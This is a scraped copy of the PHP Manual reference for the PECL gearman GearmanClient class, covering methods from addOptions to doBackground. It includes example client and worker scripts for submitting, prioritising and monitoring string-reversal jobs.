public string do ( string $function_name , string $workload [, string $unique ] )
public string doBackground ( string $function_name , string $workload [, string $unique ] )
public string doHigh ( string $function_name , string $workload [, string $unique ] )
public string doHighBackground ( string $function_name , string $workload [, string $unique ] )
public string doJobHandle ( void )
public string doLow ( string $function_name , string $workload [, string $unique ] )
public string doLowBackground ( string $function_name , string $workload [, string $unique ] )
public string doNormal ( string $function_name , string $workload [, string $unique ] )
public array doStatus ( void )
public bool echo ( string $workload )
public string error ( void )
public int getErrno ( void )
public array jobStatus ( string $job_handle )
public bool ping ( string $workload )
public bool removeOptions ( int $options )
public int returnCode ( void )
public bool runTasks ( void )
public void setClientCallback ( callback $callback )
public bool setCompleteCallback ( callback $callback )
public bool setContext ( string $context )
public bool setCreatedCallback ( string $callback )
public bool setData ( string $data )
public bool setDataCallback ( callback $callback )
public bool setExceptionCallback ( callback $callback )
public bool setFailCallback ( callback $callback )
public bool setOptions ( int $options )
public bool setStatusCallback ( callback $callback )
public bool setTimeout ( int $timeout )
public bool setWarningCallback ( callback $callback )
public bool setWorkloadCallback ( callback $callback )
public int timeout ( void )
}

Table of Contents

  • GearmanClient::addOptions — Add client options
  • GearmanClient::addServer — Add a job server to the client
  • GearmanClient::addServers — Add a list of job servers to the client
  • GearmanClient::addTask — Add a task to be run in parallel
  • GearmanClient::addTaskBackground — Add a background task to be run in parallel
  • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
  • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLow — Add a low priority task to run in parallel
  • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
  • GearmanClient::addTaskStatus — Add a task to get status
  • GearmanClient::clearCallbacks — Clear all task callback functions
  • GearmanClient::clone — Create a copy of a GearmanClient object
  • GearmanClient::__construct — Create a GearmanClient instance
  • GearmanClient::context — Get the application context
  • GearmanClient::data — Get the application data (deprecated)
  • GearmanClient::do — Run a single task and return a result [deprecated]
  • GearmanClient::doBackground — Run a task in the background
  • GearmanClient::doHigh — Run a single high priority task
  • GearmanClient::doHighBackground — Run a high priority task in the background
  • GearmanClient::doJobHandle — Get the job handle for the running task
  • GearmanClient::doLow — Run a single low priority task
  • GearmanClient::doLowBackground — Run a low priority task in the background
  • GearmanClient::doNormal — Run a single task and return a result
  • GearmanClient::doStatus — Get the status for the running task
  • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
  • GearmanClient::error — Returns an error string for the last error encountered.
  • GearmanClient::getErrno — Get an errno value
  • GearmanClient::jobStatus — Get the status of a background job
  • GearmanClient::ping — Send data to all job servers to see if they echo it back
  • GearmanClient::removeOptions — Remove client options
  • GearmanClient::returnCode — Get the last Gearman return code
  • GearmanClient::runTasks — Run a list of tasks in parallel
  • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
  • GearmanClient::setCompleteCallback — Set a function to be called on task completion
  • GearmanClient::setContext — Set application context
  • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
  • GearmanClient::setData — Set application data (deprecated)
  • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
  • GearmanClient::setFailCallback — Set callback for job failure
  • GearmanClient::setOptions — Set client options
  • GearmanClient::setStatusCallback — Set a callback for collecting task status
  • GearmanClient::setTimeout — Set socket I/O activity timeout
  • GearmanClient::setWarningCallback — Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
  • GearmanClient::timeout — Get current socket I/O activity timeout value

User Contributed Notes

There are no user contributed notes for this page.
Basic Gearman client and worker, submitting tasks
GearmanClient::addOptions
Gearman


Add client options

GearmanClient
GearmanClient::addServer
GearmanClient
PHP Manual

GearmanClient::addOptions

(PECL gearman >= 0.6.0)

GearmanClient::addOptions — Add client options

Description

public bool GearmanClient::addOptions ( int $options )

Adds one or more options to those already set.

Parameters

options

The options to add

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient
GearmanClient::addServer
GearmanClient


Add a job server to the client

GearmanClient::addOptions
GearmanClient::addServers
GearmanClient
PHP Manual

GearmanClient::addServer

(PECL gearman >= 0.5.0)

GearmanClient::addServer — Add a job server to the client

Description

public bool GearmanClient::addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )

Adds a job server to a list of servers that can be used to run a task. No socket I/O happens here; the server is simply added to the list.

Parameters

host

The job server host name.

port

The job server port.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Adding two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add two job servers, the first on the default 4730 port
$gmclient->addServer("10.0.0.1");
$gmclient->addServer("10.0.0.2", 7003);

?>

See Also

  • GearmanClient::addServers() - Add a list of job servers to the client

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addOptions
GearmanClient::addServers
GearmanClient


Add a list of job servers to the client

GearmanClient::addServer
GearmanClient::addTask
GearmanClient
PHP Manual

GearmanClient::addServers

(PECL gearman >= 0.5.0)

GearmanClient::addServers — Add a list of job servers to the client

Description

public bool GearmanClient::addServers ([ string $servers = 127.0.0.1:4730 ] )

Adds a list of job servers that can be used to run a task. No socket I/O happens here; the servers are simply added to the full list of servers.

Parameters

servers

A comma-separated list of servers, each server specified in the format 'host:port'.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add multiple job servers, the first on the default 4730 port
$gmclient->addServers("10.0.0.1,10.0.0.2:7003");

?>

See Also

  • GearmanClient::addServer() - Add a job server to the client

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addServer
GearmanClient::addTask
GearmanClient


Add a task to be run in parallel

GearmanClient::addServers
GearmanClient::addTaskBackground
GearmanClient
PHP Manual

GearmanClient::addTask

(PECL gearman >= 0.5.0)

GearmanClient::addTask — Add a task to be run in parallel

Description

public GearmanTask GearmanClient::addTask ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Note that enough workers need to be available for the tasks to all run in parallel.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 Basic submission of two tasks

<?php

# Create our gearman client
$gmclient= new GearmanClient();

# add the default job server
$gmclient->addServer();

# add a task to perform the "reverse" function on the string "Hello World!"
$gmclient->addTask("reverse", "Hello World!", null, "1");

# add another task to perform the "reverse" function on the string "!dlroW olleH"
$gmclient->addTask("reverse", "!dlroW olleH", null, "2");

# set a function to be called when the work is complete
$gmclient->setCompleteCallback("complete");

# run the tasks
$gmclient->runTasks();

function complete($task)
{
  print "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

The above example will output something similar to:

COMPLETE: 2, Hello World!
COMPLETE: 1, !dlroW olleH

Example #2 Basic submission of two tasks with passing application context

<?php

$client = new GearmanClient();
$client->addServer();

# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
$client->addTask("reverse", "!dlroW olleH", &$results, "t2");

$client->setCompleteCallback("reverse_complete");
$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results as $id => $result)
   echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";

function reverse_complete($task, $results)
{
   $results[$task->unique()] = array("handle"=>$task->jobHandle(), "data"=>$task->data());
}

?>

The above example will output something similar to:

t2: H.foo:21, Hello World!
t1: H:foo:22, !dlroW olleH

See Also

  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

sfinktah at php dot spamtrak dot org 05-Apr-2011 06:04
To create a matching worker, capable of executing multiple jobs simultaneously, I came up with this.   It's a slight hack, but it works.

<?php
do {
   $pid = false;

   $gmw= new GearmanWorker();
   $gmw->addServer("");
   $gmw->addFunction("lookup7", "lookup7_fast", $args);
   @$gmw->work();
} while ($pid);

function lookup7_fast($job) {
   global $pid;

   if ($pid = pcntl_fork()) {
      return $job->setReturn(GEARMAN_WORK_STATUS);
   }

   return do_work($job->workload());
};
?>
GearmanClient::addServers
GearmanClient::addTaskBackground
GearmanClient


Add a background task to be run in parallel

GearmanClient::addTask
GearmanClient::addTaskHigh
GearmanClient
PHP Manual

GearmanClient::addTaskBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskBackground — Add a background task to be run in parallel

Description

public GearmanTask GearmanClient::addTaskBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 Two tasks, one background and one not

This example illustrates the difference between running a background task and a normal task. The client adds two tasks to execute the same function, but one is added with addTaskBackground(). A callback is set so that progress of the job can be tracked. A simple worker with an artificial delay reports on the job progress and the client picks this up through the callback. Two workers are run for this example. Note that the background task does not show in the client output.

<?php

# The client script

# create our gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set a couple of callbacks so we can track progress
$gmc->setCompleteCallback("reverse_complete");
$gmc->setStatusCallback("reverse_status");

# add a task for the "reverse" function
$task= $gmc->addTask("reverse", "Hello World!", null, "1");

# add another task, but this one to run in the background
$task= $gmc->addTaskBackground("reverse", "!dlroW olleH", null, "2");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}

echo "DONE\n";

function reverse_status($task)
{
    echo "STATUS: " . $task->unique() . ", " . $task->jobHandle() . " - " . $task->taskNumerator() .
         "/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>
<?php

# The worker script

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

Worker output for two workers running:

Received job: H:foo.local:65
Workload: !dlroW olleH (12)
1/12 complete
Received job: H:foo.local:66
Workload: Hello World! (12)
1/12 complete
2/12 complete
2/12 complete
3/12 complete
3/12 complete
4/12 complete
4/12 complete
5/12 complete
5/12 complete
6/12 complete
6/12 complete
7/12 complete
7/12 complete
8/12 complete
8/12 complete
9/12 complete
9/12 complete
10/12 complete
10/12 complete
11/12 complete
11/12 complete
12/12 complete
12/12 complete
Result: !dlroW olleH
Result: Hello World!

Client output:

STATUS: 1, H:foo.local:66 - 1/12
STATUS: 1, H:foo.local:66 - 2/12
STATUS: 1, H:foo.local:66 - 3/12
STATUS: 1, H:foo.local:66 - 4/12
STATUS: 1, H:foo.local:66 - 5/12
STATUS: 1, H:foo.local:66 - 6/12
STATUS: 1, H:foo.local:66 - 7/12
STATUS: 1, H:foo.local:66 - 8/12
STATUS: 1, H:foo.local:66 - 9/12
STATUS: 1, H:foo.local:66 - 10/12
STATUS: 1, H:foo.local:66 - 11/12
STATUS: 1, H:foo.local:66 - 12/12
COMPLETE: 1, !dlroW olleH
DONE

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTask
GearmanClient::addTaskHigh
GearmanClient


Add a high priority task to run in parallel

GearmanClient::addTaskBackground
GearmanClient::addTaskHighBackground
GearmanClient
PHP Manual

GearmanClient::addTaskHigh

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHigh — Add a high priority task to run in parallel

Description

public GearmanTask GearmanClient::addTaskHigh ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a high priority task to be run in parallel with other tasks. Call this method for all the high priority tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 A high priority task along with two normal tasks

A high priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the high priority task run first.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is high priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskHigh("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}
echo "DONE\n";

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

The above example will output something similar to:

COMPLETE: 2, Hello World!
COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
DONE

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTaskBackground
GearmanClient::addTaskHighBackground
GearmanClient


Add a high priority background task to be run in parallel

GearmanClient::addTaskHigh
GearmanClient::addTaskLow
GearmanClient
PHP Manual

GearmanClient::addTaskHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel

Description

public GearmanTask GearmanClient::addTaskHighBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a high priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTaskHigh
GearmanClient::addTaskLow
GearmanClient


Add a low priority task to run in parallel

GearmanClient::addTaskHighBackground
GearmanClient::addTaskLowBackground
GearmanClient
PHP Manual

GearmanClient::addTaskLow

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLow — Add a low priority task to run in parallel

Description

public GearmanTask GearmanClient::addTaskLow ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or low priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 A low priority task along with two normal tasks

A low priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the low priority task run last.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is low priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskLow("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}
echo "DONE\n";

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

The above example will output something similar to:

COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
COMPLETE: 2, Hello World!
DONE

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTaskHighBackground
GearmanClient::addTaskLowBackground
GearmanClient


Add a low priority background task to be run in parallel

GearmanClient::addTaskLow
GearmanClient::addTaskStatus
GearmanClient
PHP Manual

GearmanClient::addTaskLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel

Description

public GearmanTask GearmanClient::addTaskLowBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or high priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTaskLow
GearmanClient::addTaskStatus
GearmanClient


Add a task to get status

GearmanClient::addTaskLowBackground
GearmanClient::clearCallbacks
GearmanClient
PHP Manual

GearmanClient::addTaskStatus

(PECL gearman >= 0.5.0)

GearmanClient::addTaskStatus — Add a task to get status

Description

public GearmanTask GearmanClient::addTaskStatus ( string $job_handle [, string &$context ] )

Used to request status information from the Gearman server, which will call the specified status callback (set using GearmanClient::setStatusCallback()).

Parameters

job_handle

The job handle for the task to get status for

context

Data to be passed to the status callback, generally a reference to an array or object

Return Values

A GearmanTask object.

Examples

Example #1 Monitor completion of multiple background tasks

An artificial delay is introduced in the worker in this example to simulate a long running process. There is only one worker running for this example.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* start some background jobs and save the handles */
$handles = array();
$handles[0] = $gmclient->doBackground("reverse", "Hello World!");
$handles[1] = $gmclient->doBackground("reverse", "!dlroW olleH");

$gmclient->setStatusCallback("reverse_status");

/* Poll the server to see when those background jobs finish; */
/* a better method would be to use event callbacks */
do
{
   /* Use the context variable to track how many tasks have completed */
   $done = 0;
   $gmclient->addTaskStatus($handles[0], &$done);
   $gmclient->addTaskStatus($handles[1], &$done);
   $gmclient->runTasks();
   echo "Done: $done\n";
   sleep(1);
}
while ($done != 2);

function reverse_status($task, $done)
{
   if (!$task->isKnown())
      $done++;
}

?>

The above example will output something similar to:

Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 2

See Also

  • GearmanClient::setStatusCallback() - Set a callback for collecting task status

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTaskLowBackground
GearmanClient::clearCallbacks
GearmanClient


Clear all task callback functions

GearmanClient::addTaskStatus
GearmanClient::clone
GearmanClient
PHP Manual

GearmanClient::clearCallbacks

(PECL gearman >= 0.5.0)

GearmanClient::clearCallbacks — Clear all task callback functions

Description

public bool GearmanClient::clearCallbacks ( void )

Clears all the task callback functions that have previously been set.

Parameters

This function has no parameters.

Return Values

Always returns TRUE.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::addTaskStatus
GearmanClient::clone
GearmanClient


Create a copy of a GearmanClient object

GearmanClient::clearCallbacks
GearmanClient::__construct
GearmanClient
PHP Manual

GearmanClient::clone

(PECL gearman >= 0.5.0)

GearmanClient::clone — Create a copy of a GearmanClient object

Description

public GearmanClient GearmanClient::clone ( void )

Creates a copy of a GearmanClient object.

Parameters

This function has no parameters.

Return Values

A GearmanClient on success, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::clearCallbacks
GearmanClient::__construct
GearmanClient


Create a GearmanClient instance

GearmanClient::clone
GearmanClient::context
GearmanClient
PHP Manual

GearmanClient::__construct

(PECL gearman >= 0.5.0)

GearmanClient::__construct — Create a GearmanClient instance

Description

public GearmanClient::__construct ( void )

Creates a GearmanClient instance representing a client that connects to the job server and submits tasks to complete.

Parameters

This function has no parameters.

Return Values

A GearmanClient object.

See Also

  • GearmanClient::clone() - Create a copy of a GearmanClient object

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::clone
GearmanClient::context
GearmanClient


Get the application context

GearmanClient::__construct
GearmanClient::data
GearmanClient
PHP Manual

GearmanClient::context

(PECL gearman >= 0.6.0)

GearmanClient::context — Get the application context

Description

public string GearmanClient::context ( void )

Get the application context previously set with GearmanClient::setContext().

Parameters

This function has no parameters.

Return Values

The same context data structure set with GearmanClient::setContext()

See Also

  • GearmanClient::setContext() - Set application context

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::__construct
GearmanClient::data
GearmanClient


Get the application data (deprecated)

GearmanClient::context
GearmanClient::do
GearmanClient
PHP Manual

GearmanClient::data

(PECL gearman <= 0.5.0)

GearmanClient::data — Get the application data (deprecated)

Description

public string GearmanClient::data ( void )

Get the application data previously set with GearmanClient::setData().

Note:

This method was replaced by GearmanClient::setContext() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

The same string data set with GearmanClient::setData()

See Also

  • GearmanClient::setData() - Set application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::context
GearmanClient::do
GearmanClient


Run a single task and return a result [deprecated]

GearmanClient::data
GearmanClient::doBackground
GearmanClient
PHP Manual

GearmanClient::do

(PECL gearman >= 0.5.0)

GearmanClient::do — Run a single task and return a result [deprecated]

Description

public string GearmanClient::do ( string $function_name , string $workload [, string $unique ] )

The GearmanClient::do() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::doNormal().

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

Examples

Example #1 Simple job submission with immediate return

<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

Starting
Sending job
Success: !olleH

Example #2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::do() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");
  # Check for various return packets and errors.

  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      echo "Error: " . $gmclient->error() . "\n";
      echo "Errno: " . $gmclient->getErrno() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

The above example will output something similar to:

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

See Also

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

Shane Harter 15-Jun-2010 11:41
Note that this isn't blocking -- that do() will return as soon as the job is accepted by the Gearman jobserver.

That lets you do..while until the return code is success or failure as you see in the examples.
GearmanClient::data
GearmanClient::doBackground
GearmanClient


Run a task in the background

GearmanClient::do
GearmanClient::doHigh
GearmanClient
PHP Manual

GearmanClient::doBackground

(PECL gearman >= 0.5.0)

GearmanClient::doBackground — Run a task in the background

Description

public string GearmanClient::doBackground ( string $function_name , string $workload [, string $unique ] )

Runs a task in the background, returning a job handle which can be used to get the status of the running task.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

The job handle for the submitted task.

Examples

Example #1 Submit and monitor a background job

The worker in this example has an artificial delay introduced to mimic a long running job. The client script periodically checks the status of the running job.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

$done = false;
do
{
   sleep(3);
   $stat = $gmclient->jobStatus($job_handle);
   if (!$stat[0]) // the job is known so it is not done
      $done = true;
   echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denomintor: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

The above example will output something similar to:

Running: true, numerator: 3, denomintor: 14
Running: true, numerator: 6, denomintor: 14
Running: true, numerator: 9, denomintor: 14
Running: true, numerator: 12, denomintor: 14
